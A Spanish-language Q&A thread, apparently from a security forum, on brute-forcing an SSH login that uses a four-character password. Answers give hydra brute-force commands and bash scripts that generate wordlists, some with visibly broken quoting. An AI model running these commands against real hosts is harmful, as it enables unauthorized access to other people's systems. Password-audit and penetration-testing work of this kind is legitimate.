Fuerza bruta un inicio de sesión SSH que solo tiene una contraseña de 4 letras

6

Supongamos que usted sabe que una determinada computadora solo está protegida con una contraseña tan corta, entonces podría probar fácilmente todas las combinaciones posibles.

¿Cómo se vería un script que intenta descifrar esa contraseña?

Algo como

#!/bin/bash
wordlist=create_wordlist(); # external defined
for i in $(cat $wordlist); do
  echo ssh username@localhost pipe password $i here; 
done

(Lo sé, este no es un buen ejemplo, pero mis habilidades de bash todavía no son tan buenas)

    
pregunta rubo77 13.12.2012 - 11:05
fuente

4 respuestas

16

hydra puede generar las contraseñas por ti. No es necesario que los genere por separado si va a utilizar fuerza bruta:

hydra -l user_name -V -x 4:4:aA1 ip_address ssh

-V significa verboso, -x 4:4:aA1 significa que min es de 4 letras, máximo de 4 letras. La lista de letras es a-z denotada por a, A-Z denotada por A, 0-9 denotada por 1. Puede agregar otros caracteres como %_-+/

Es necesario envolver los apóstrofes alrededor de la opción -x si agrega caracteres especiales como espacio, ^, &, * o ":

hydra -t 128 -l user_name -V -x '4:4:aA1"@#$!()='~?><;:%^&*_-+/,.\ ' localhost ssh
    
respondido por el GMaster 05.10.2013 - 15:59
fuente
11

Si bien podría usar un lenguaje de script genérico como bash para esto, podría obtener mejores resultados con una herramienta de seguridad centrada en probar ataques de fuerza bruta como THC-Hydra desde una perspectiva de velocidad de todos modos.

    
respondido por el Rоry McCune 13.12.2012 - 11:21
fuente
1

así que esta es la conclusión:

nano /tmp/create_wordlist_case_sensitive.sh
#!/usr/bin/bash
letters="- . , _ "$(echo {0..9} {A..z})
run1=( 'echo $(echo $letters) | sed 's/\[ \] \^ \_ \' //'' )
run2=( 'echo $(echo $letters) | sed 's/\[ \] \^ \_ \' //'' )
run3=( 'echo $(echo $letters) | sed 's/\[ \] \^ \_ \' //'' )
run4=( 'echo $(echo $letters) | sed 's/\[ \] \^ \_ \' //'' )

echo '-'
for a in "${run1[@]}"
  do
  echo "$a"
  for b in "${run2[@]}"
    do
    echo "$a$b"
    for c in "${run3[@]}"
      do
      echo "$a$b$c"
        for d in "${run4[@]}"
        do
        echo "$a$b$c$d"
      done
    done
  done
done    
bash /tmp/create_wordlist_case_sensitive.sh >/tmp/word_list_long.txt
hydra -l john -P /tmp/word_list_long.txt attack_host ssh
    
respondido por el rubo77 14.12.2012 - 15:26
fuente
0

aquí hay dos scripts de bash para generar una lista de todas las combinaciones posibles de cuatro letras. el primero solo da combinaciones en minúsculas ( create_wordlist_case_insensitive.sh ), mientras que el segundo da todas las combinaciones de letras mayúsculas y minúsculas ( create_wordlist_case_sensitive.sh ).

$ cat create_wordlist_case_insensitive.sh
#!/usr/bin/bash

for a in {a..z}
 do
  for b in {a..z}
   do
    for c in {a..z}
     do
      for d in {a..z}
       do
        echo "$a$b$c$d"
       done
     done
   done
 done


$ cat create_wordlist_case_sensitive.sh
#!/usr/bin/bash

run1=( 'echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \' //'' )
run2=( 'echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \' //'' )
run3=( 'echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \' //'' )
run4=( 'echo $(echo {A..z}) | sed 's/\[ \] \^ \_ \' //'' )

for a in "${run1[@]}"
 do
  for b in "${run2[@]}"
   do
    for c in "${run3[@]}"
     do
      for d in "${run4[@]}"
       do
        echo "$a$b$c$d"
       done
     done
   done
 done

Úsalos para crear tus archivos de lista de palabras como este:

$ create_wordlist_case_insensitive.sh >word_list_short.txt
$ create_wordlist_case_sensitive.sh >word_list_long.txt

luego su secuencia de comandos puede recorrer cualquier archivo que necesite así:

$ cat forceit.sh
#!/usr/bin/bash

while read line
 do
  echo "Trying: $line"
  echo ssh intaudftp@file --password "$line" ## NOT REAL CODE
 done < word_list_short.txt

excepto que este código no funcionará realmente, bc ssh no acepta una contraseña como argumento.

tendrías que automatizar ese segmento del código con expect , pero no voy a entrar en cómo hacerlo aquí. alternativamente, supongo que podría usar un comando diferente que acepte una contraseña como argumento, como telnet .

    
respondido por el nullrevolution 13.12.2012 - 23:12
fuente

Lea otras preguntas en las etiquetas